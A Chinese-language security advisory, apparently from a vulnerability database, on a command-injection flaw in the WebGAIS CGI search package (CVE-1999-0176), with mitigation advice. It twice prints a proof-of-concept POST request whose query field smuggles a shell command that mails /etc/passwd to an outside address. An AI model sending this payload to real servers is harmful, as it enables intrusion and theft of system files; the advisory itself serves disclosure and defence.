发布日期：1997-07-10
更新日期：1997-07-10

受影响系统：

WebGAIS Development Team WebGAIS 1.0B2
WebGAIS Development Team WebGAIS 1.0B1
WebGAIS Development Team WebGAIS 1.0

描述：

---

BUGTRAQ  ID: 2058
CVE(CAN) ID: CVE-1999-0176

WEBgais是一个用Perl语言实现的CGI软件包，用于提供"gais" (Global Area Intelligent Search)搜索引擎基于Web的访问接口。

1.0B2以前版本WEBgais软件包中的webgais脚本实现上存在输入验证漏洞，远程攻击者可以利用此漏洞以Web服务进程的权限在主机上执行任意系统命令。

问题在于程序脚本没有过滤用户输入中包含的一些shell转义字符，远程攻击者可能利用此漏洞以Web守护程序的权限（root或nobody）在主机上执行任意命令。

例如可以用如下的方法操作，在目标主机上执行命令：
telnet target.host 80
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 (replace this with the actual length of the "exploit" line)
query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph

<*来源：Razvan Dragomirescu （drazvan@kappa.ro）
  
  链接：http://xforce.iss.net/static/1467.php
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Razvan Dragomirescu （drazvan@kappa.ro）提供了如下测试方法：

可以用如下的方法操作，在目标主机上执行命令：
telnet target.host 80
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 (replace this with the actual length of the "exploit" line)
query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 在漏洞修补以前暂时停止此程序的使用，去除此脚本的执行权限或删除之。

厂商补丁：

WebGAIS Development Team
------------------------
厂商没有提供解决方案，建议按临时解决方法处理。

浏览次数：18748
严重程度：0（网友投票）